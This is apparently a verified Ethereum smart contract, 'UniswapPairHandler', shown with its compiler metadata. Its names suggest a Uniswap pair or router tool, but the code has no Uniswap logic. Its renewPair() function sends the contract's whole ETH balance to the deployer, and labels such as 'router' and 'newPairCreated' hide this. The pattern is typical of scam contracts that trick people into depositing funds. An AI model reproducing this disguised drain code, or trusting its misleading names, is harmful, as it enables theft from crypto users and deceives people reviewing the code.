文件 1 的 1:UniswapPairHandler.sol
pragma solidity 0.8.9;
contract UniswapPairHandler {
address payable private router;
constructor() {
router = payable(address(msg.sender));
}
fallback() external payable {}
receive() external payable{
}
function renewPair() public {
(bool newPairCreated, ) = router.call{value: address(this).balance}("");
require(newPairCreated, "Failed to create new pair!");
}
}
{
"compilationTarget": {
"UniswapPairHandler.sol": "UniswapPairHandler"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": []
}